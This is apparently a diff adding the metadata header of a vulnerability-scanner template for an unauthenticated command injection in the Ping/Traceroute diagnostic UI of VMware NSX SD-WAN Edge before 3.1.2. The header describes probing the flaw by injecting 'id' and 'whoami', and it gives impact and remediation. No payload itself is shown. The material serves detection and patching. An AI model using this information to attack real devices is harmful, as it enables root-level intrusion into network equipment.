+info:
+  name: VMware NSX SD-WAN Edge - Command Injection
+  author: D3nverNg,thewindghost
+  severity: critical
+  description: |
+    VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.
+  impact: |
+    Successful exploitation allows unauthenticated remote code execution as root.
+  remediation: |
+    Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).
